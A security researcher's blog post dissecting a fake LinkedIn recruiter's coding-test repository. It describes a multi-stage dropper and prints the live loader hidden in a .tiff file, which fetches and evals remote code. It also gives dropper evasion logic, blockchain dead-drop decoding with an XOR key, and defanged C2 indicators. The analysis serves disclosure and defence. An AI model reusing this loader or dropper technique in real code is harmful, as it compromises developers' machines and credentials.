Anatomy of a Fake LinkedIn Coding Test: A Malware Dropper Hidden in a .tiff
Part 2 of the LinkedIn scammers series. This time I got the repository: a fake recruiter's 10-minute 'coding assessment' hid a four-stage dropper behind a .tiff file, a link shortener, IPFS and two blockchains.
This is part 2 of LinkedIn DeFi Scammers: How Fake Recruiters Try to Drain Your Wallet. At the end of that post I promised to go back, play along with a fake recruiter, get the repository and see how the scam works technically.
It never worked out the first time. I did talk to those fake recruiters, but I never got a repository link: the last fake HR account was banned (I think) and the whole conversation was deleted along with it.
This time the account lasted long enough. I got the repo. Here is what it does, and how I looked at it without running it.
I did not run any of it. Everything below comes from reading files and from fetching inert data through Tor.
The approach
The first message was the usual template, with no company name:
“We’re working on a company project and believe your experience could really help us out. You’re welcome to join as a technical manager or developer, and you can work part-time or full-time, all remotely.”
When I asked what the job was, the answer was a Web3 NFT minting and staking project, a React + Express + Tailwind stack, and $40/hr quoted before any requirements. I asked whether there was an interview process and whether they paid in crypto. Neither question was answered. I got a request for my CV instead, which I sent.
A day later:
“After reviewing your experience, we believe your background aligns well with our current needs… would it be alright if we spent about 5–10 minutes on a short technical assessment?”
Then the conditions:
- record your screen while you work (6–10 minutes, “no more than 30–40 minutes of your time”);
- “Please don’t use AI tools”;
- deliver the recording on Loom within 24 hours;
- the repository,
github.com/MiIies/mvp(since removed from GitHub), and three tasks:- print a simple “Hello” in the terminal when the backend starts,
- change the border color of three boxes from brown to grey,
- set a solid yellow background.
The tasks are trivial on purpose. Task 1 matters most: to add a line printed when the backend starts, you have to start the backend.
“Don’t use AI tools” is also worth noticing. It looks like a standard anti-cheating rule, but here it conveniently removes the one thing that might have told you what the repo does.
The recruiter’s name was already in a warning
The scammer behind the conversation went by Hanan Nurul Azka (LinkedIn profile). I pasted the conversation into ChatGPT and asked whether this person looked suspicious. It found that the same name was already listed under “Some of the recruiters who are scamming” in a LinkedIn article by Alexandre Colauto Neto, a blockchain full-stack developer: Important Warning to fellow Software Engineers, published on 10 July 2025.
That means the profile was named in a public warning more than a year before it contacted me, and it was still active in October 2026. I find that surprising.
I’m confident this is a scammer: the pattern matches the earlier warning, the repository contains a malware dropper, and the account was still active in October 2026. If you report the profile to LinkedIn, the earlier public warning is the useful fact to include.
What the warning predicted
The warning lists what to search for in a suspicious repository: 0x, parseInt, eval, http, and dynamic function constructors, plus reading the last commit, using an LLM, and running everything in a VM. This repo is a good test of that checklist:
eval(does find the loader. In the server and frontend code,w.tiffis the only file that contains it, and also the only one that usesatob.httpdoes not find the URL in the server code, because it’s base64-encoded (atob('aHR0cHM6…')).0xandparseIntmatch many files, but they are ordinary Web3 frontend code (ethereum.js,erc20.js,Minting.jsx,Staking.jsx, …). In a repo that is supposed to be an NFT minting app, those searches are mostly noise.new Functionisn’t in the repo at all. It appears in the second stage, which is fetched from a blockchain.
So a keyword search only gives you one real hit, a single eval( in a file with an image extension, buried among legitimate matches. The advice in the warning is right: read the code, don’t trust it, and run it in a VM, never on your working machine.
Looking at the repository
The GitHub repo MiIies/mvp (now removed, it returns 404; a copy is preserved in my pull request) had a single commit, 4b9c81a5d0c73ac1f87e2d42f594b68d905e935f (“initial commit”, unsigned), from 12 December 2025. The commit’s author name is daudmag and the author email is daudhashi631@gmail.com. The account name MiIies contains a capital I that looks like a lowercase l in most fonts, so it reads as “Milies”. There is no description, website or history.
It looks like a React + Express app called “Paradise”. package.json has no postinstall hook or suspicious script, which is what most people check. The malware isn’t there.
Stage 0: a JavaScript file named w.tiff
server/_resources/html_css_theme/img/w.tiff is a 158-byte text file. It is not an image:
try { (async () => { const res = await require('axios').get(atob('aHR0cHM6Ly9sYXZpZm8uc2hvcnRzLmd5L0VUS2ZK')); eval(res.data.content); })(); } catch (err) { }The base64 decodes to hxxps://lavifo.shorts[.]gy/ETKfJ. The script downloads whatever that URL returns and runs eval() on its content field. The empty catch hides errors.
It gets loaded from an unrelated route file, server/routes/api/faq.js:
const load = require('../../_resources/html_css_theme/img/w.tiff')load is never used. The require exists only for its side effect. Node treats an unknown file extension as JavaScript, so require() of a .tiff executes it.
server/server.js mounts that route (app.use('/api/faq', require('./routes/api/faq'))), and npm run server is node server/server.js. npm start runs it as well. Starting the backend, the first thing the assessment asks for, runs the loader.
Stage 1: dropper, via a shortener and IPFS
The shortener replies with a 301 redirect (via Cloudflare, with a PHP session cookie) to a Pinata IPFS gateway:
hxxps://yellow-written-hyena-360.mypinata[.]cloud/ipfs/bafkreiadf6x4tg3ozizmkw2eirvy6odcahrzznyblfmcnjw3lvbbdt3u2uAn IPFS link is addressed by content hash, so those bytes can’t change. To change the stage, the operator has to publish a new file and repoint the shortener. The gateway returns a 35,247-byte JSON file, {"content": "function c1() {...}"}, containing heavily obfuscated JavaScript (the obfuscator.io style: a rotated string array and a custom base64 decoder). After deobfuscation it does the following:
- It checks whether it’s being analysed. If it sees environment variables for Codespaces, CodeSandbox, Vercel, AWS (including Lambda and credentials), GCP, Azure Functions, Render, Heroku (
DYNO), App Engine,DOCKER,SOCKET_DEV, or “aws” in the kernel release, it prints a fake “environment not supported” message. This is meant to make cloud sandboxes and CI runners exit without showing anything. - It creates
~/.vs_cache/, a name that looks like a VS Code cache folder. - It writes a
package.jsonand amain.jsthere.main.jsis an embedded copy of stage 2. - It locates
npm-cli.jsnext to the running node binary and runsnpm installforkoffi,@primno/dpapi,better-sqlite3,socket.io-clientandnode-machine-id, using a hidden, detached child process. - On Windows it also writes
main.vbs(aWScript.Shellscript that starts node onmain.jswith a hidden window) and runs it through%WINDIR%\System32\wscript.exe. On other platforms it spawns node detached withstdio: "ignore".
Those dependencies say a lot about the purpose. @primno/dpapi decrypts Windows DPAPI-protected data (browser secrets). better-sqlite3 reads the SQLite databases browsers use for logins and cookies. node-machine-id identifies the victim. socket.io-client gives the operator a live channel. koffi calls native APIs. That is my reading of the dependency list, not observed behavior.
Stage 2: the next stage lives on a blockchain
main.js (8,790 bytes, SHA-256 fe0ffbbd…27b9, obfuscated again) doesn’t contain a server address at all. It reads one from the chain, using what is sometimes called “EtherHiding”:
- Ask the TronGrid API (
api.trongrid.io, with a hard-codedTRON-PRO-API-KEY) for the latest confirmed outgoing transaction of the TRON addressTBMcSRezuxdoNEC8gD3uS4GQVGvybYU4UU. - Take the transaction’s memo field, swap its two halves, and hex-decode it. The result is a BSC transaction hash:
0xbf3fa7a35ab2ee7e243134f39e367b8774d32810fd9b66355c8eba135b2fca9f. - Fetch that transaction from a Binance Smart Chain node (
bsc-dataseed.binance.org, viaeth_getTransactionByHash). It was sent from0x4f145ea9b91a73acc9c6a61922cb12414e4358b2to the burn address0x…dead, in block 121,981,584. Its input data is the payload. - Reverse the string, XOR it with the key
02e4f3e7-9442-4f9c-a6f4-4fa136605d1c, strip theBCGZ1|marker, base64-decode and gunzip. - Run the result with
new Function("require", "module", "exports", "__dirname", "__filename", code).
The TRON transaction (a323fb6e…437fe) is from 2026-09-15, and the BSC one is on BscScan. Blockchain data can’t be taken down, and the operator can rotate the next stage by posting a new TRON transaction, with nothing to change in the repo. A takedown of any single server doesn’t stop this.
Stage 3 and the C2
The decrypted blob (4,373 bytes, SHA-256 1856068cc3960e23df6ef4f8599332e30a58154f1dbb243e0839594e32e6648a) is yet another obfuscated loader. It builds a URL from a hex-encoded string:
hxxp://138.226.247[.]152:80/session/<SESSION_TOKEN>and fetches more JavaScript from it (it accepts http and https, with Accept: application/javascript), logging errors to ~/.vs_cache/loader.log.
I requested that URL through Tor with the literal placeholder __SESSION_TOKEN__ in place of the token. The server, an Express app, answered 404 Session not found. It is live and it only serves payloads to sessions it created. I stopped there, because guessing tokens means probing someone’s server, and I’d rather not.
The whole chain
npm run server └─ server/server.js ── require('./routes/api/faq') └─ faq.js:84 ── require('…/img/w.tiff') [stage 0, 158 B] └─ GET lavifo.shorts.gy/ETKfJ → 301 └─ Pinata IPFS (JSON, 35 KB) [stage 1, dropper] └─ ~/.vs_cache/ + npm install + main.js (+ main.vbs on Windows) └─ TRON tx memo → BSC tx hash [stage 2, dead drop] └─ BSC tx input → XOR → gunzip → new Function └─ GET 138.226.247.152/session/<token> [stage 3 → 4]What I don’t know
- Stage 4, the actual payload, is missing. I can’t tell you what it takes. The dependency list strongly suggests browser credentials, cookies and wallet data, but I haven’t seen that code.
- I don’t know who runs this operation or where they are.
- I never ran the project, so I can’t describe behavior on a real machine.
The infrastructure I used
The aim was to read everything and execute nothing, and to keep my IP away from the attacker’s servers. I used Claude Code as an assistant for the analysis. I ran everything in Docker on a Linux machine.
Safety rules I followed
- No
git clone, nonpm installof the project, no running any of their code. - Every file was fetched as plain text and saved to a scratch directory, only ever shown through
cat -vorhead -c, never printed raw (a hostile response could contain terminal escape sequences). - Every request to attacker infrastructure went through Tor.
- Anything that executed ran with no network access.
1. Tor in a container. There was no Tor image on my machine, so I built a minimal one:
FROM alpine:3.20RUN apk add --no-cache torUSER torCMD ["tor","--SocksPort","0.0.0.0:9050"]docker build -t tor-local tordocker network create torfetchdocker run -d --rm --name torproxy --network torfetch tor-local# wait for "Bootstrapped 100%" in: docker logs torproxy2. Check that traffic really leaves through Tor before touching anything of theirs. The Tor exit and my direct connection reported different addresses:
docker run --rm --network torfetch curlimages/curl -sS \ --socks5-hostname torproxy:9050 https://check.torproject.org/api/ip# {"IsTor":true,"IP":"204.8.96.152"}curl -sS https://check.torproject.org/api/ip# {"IsTor":false,"IP":"<my real IP>"}3. Fetch each URL with a throwaway curl container: all Linux capabilities dropped, read-only root filesystem, one writable output folder, DNS resolved through Tor (--socks5-hostname), no redirect-following, a size and time limit, headers and body saved to files:
docker run --rm --network torfetch --cap-drop ALL --read-only \ -v "$PWD/out:/out" curlimages/curl -sS --socks5-hostname torproxy:9050 \ -D /out/headers.txt -o /out/payload.bin \ --max-filesize 5000000 --max-time 40 \ -w 'status=%{http_code} size=%{size_download} redirect=%{redirect_url}\n' \ https://lavifo.shorts.gy/ETKfJI followed each hop by hand: shortener → IPFS gateway, then TronGrid, a BSC node and the C2. For each one I recorded the status, headers, size and SHA-256 of each response. On a 301 I stopped to decide whether to follow it.
4. Deobfuscate in a container with no network. webcrack was installed with npm install --ignore-scripts in a throwaway node:22-alpine container, which is the only step there that had network access. After that:
docker run --rm --network none --cap-drop ALL --read-only --user 1000:1000 \ --memory 1g -v "$PWD/an:/an" -w /an node:22-alpine \ timeout 120 node_modules/.bin/webcrack payload.js -o out_dir5. Decode the string table. webcrack removed the structure but left calls like a0T(630) unresolved. To read them I ran only the pure decoder function (the string array, its rotation and the decoder), cut out of the file, inside a Node vm context with no require, process or network, in a container with --network none. It printed all 1,084 strings, and I substituted them back into the code by script. I never ran the payload’s main logic.
6. Stages 2 and 3, by hand. The stage 2 blob was embedded as a string literal, so I extracted it with a small script, and the TRON and BSC lookups were plain HTTP calls through Tor. The memo swap and the XOR + gunzip were a few lines of Python. I read each stage as text before moving on to the next.
7. Verify the claims. I checked the w.tiff content, the require line, the redirect target and the on-chain data against the raw data myself, rather than trusting any summary, including the AI ones.
After the work, remove the throwaway pieces:
docker rm -f torproxy && docker network rm torfetchIndicators of compromise
Defanged. If you ran this repo, treat the machine as compromised.
- Repository
-
github.com/MiIies/mvpcommit 4b9c81a5d0c73ac1f87e2d42f594b68d905e935f (12 Dec 2025) - Commit author
-
daudmagdaudhashi631@gmail.com - Loader file
- SHA-256 8e1737980b244fa91fca17617ee1519d8fa03f97d157f4365d737e9031547b7b
server/_reso…g/w.tiffserver/_resources/html_css_theme/img/w.tiff - Importing file
-
server/routes/api/faq.js:84 - Shortener
-
hxxps://lavi…gy/ETKfJhxxps://lavifo.shorts[.]gy/ETKfJ - IPFS gateway
-
hxxps://yell…bbdt3u2uhxxps://yellow-written-hyena-360.mypinata[.]cloud/ipfs/bafkreiadf6x4tg3ozizmkw2eirvy6odcahrzznyblfmcnjw3lvbbdt3u2u - Stage 1 SHA-256
- 35,247 bytes
032fafc99b6e…11cf74d5032fafc99b6eca32c55b44446b8f386201e39cb701595826a6db5d4211cf74d5 - TRON address
-
TBMcSRezuxdo…vybYU4UUTBMcSRezuxdoNEC8gD3uS4GQVGvybYU4UU - TRON transaction
-
a323fb6e0b9f…ae1437fea323fb6e0b9ff85d63f3fa5a16f2c369dd48acbb085460e4b7bb7c54ae1437fe - TronGrid API key
- hard-coded in stage 2
0abf12d7-601…d807468c0abf12d7-601d-4565-bba3-7f94d807468c - BSC transaction
- from 0x4f145ea9b91a73acc9c6a61922cb12414e4358b2
0xbf3fa7a35a…5b2fca9f0xbf3fa7a35ab2ee7e243134f39e367b8774d32810fd9b66355c8eba135b2fca9f - XOR key
- marker BCGZ1|
02e4f3e7-944…36605d1c02e4f3e7-9442-4f9c-a6f4-4fa136605d1c - Stage 2 SHA-256
-
fe0ffbbde5b4…bcdc27b9fe0ffbbde5b46b1cf17429c26f485d5d6201d6d763cba1975259590abcdc27b9 - Stage 3 SHA-256
-
1856068cc396…32e6648a1856068cc3960e23df6ef4f8599332e30a58154f1dbb243e0839594e32e6648a - C2
- Express; 404 Session not found without a valid session
hxxp://138.2…/<token>hxxp://138.226.247[.]152:80/session/<token> - Local artifacts
-
~/.vs_cache/package.jsonmain.jsmain.vbsloader.logplus wscript.exe or a detached node launched from there - npm packages
-
koffi@primno/dpapibetter-sqlite3socket.io-clientnode-machine-id
If you already ran it
- Disconnect the machine and treat every credential it could reach as stolen: browser passwords, saved sessions, SSH keys, cloud tokens,
.envfiles. - Move crypto to a new wallet created on a clean device. Don’t just change passwords, because a seed phrase that touched the machine is burned.
- Look for
~/.vs_cache/and for unexpectedwscript.exeor node processes. - Revoke sessions and tokens from another device.
Where to look up and report these cases
There is a public community list of these scams: xndbogdan/malicious-repositories. It collects malicious repositories sent by fake recruiters, with the malware samples, indicators, recruiter profiles and red-flag checklists. I checked it before submitting: neither this repository nor the recruiter was listed.
I forked it (antlis/malicious-repositories) and sent this case as a pull request, #28. It adds the repository, the extracted stages, the defanged indicators and the recruiter profile.
I also posted a short version of this write-up on LinkedIn, so more people know where to submit such cases.
If you get a suspicious assessment repo, search that list first (by repository name, domain or recruiter name), and if your case isn’t there, open a pull request with the repo, indicators and your analysis.
Takeaways
- The scripts in
package.jsonare not the only place code runs. Here the malware was arequire()of a file that doesn’t look like code, inside an unrelated route. - A trivial task that needs the app running is the point of the test. “Just add a log line” is an instruction to execute their server.
- A recruiter who won’t name the company, ignores the interview and payment questions, and forbids AI tools is telling you something. So is a profile that was already named in a public warning more than a year ago.
- Keyword searches aren’t enough: the URL was base64, and the real code lived on IPFS and two blockchains.
- If you must look at an assessment repo, read it on GitHub, or run it in a throwaway VM with nothing in it: no keys, no browser profile, no wallet.
- Report the profile to LinkedIn, report the repository to GitHub, and add the case to the community list of malicious repositories so others can find it.
Stay safe out there.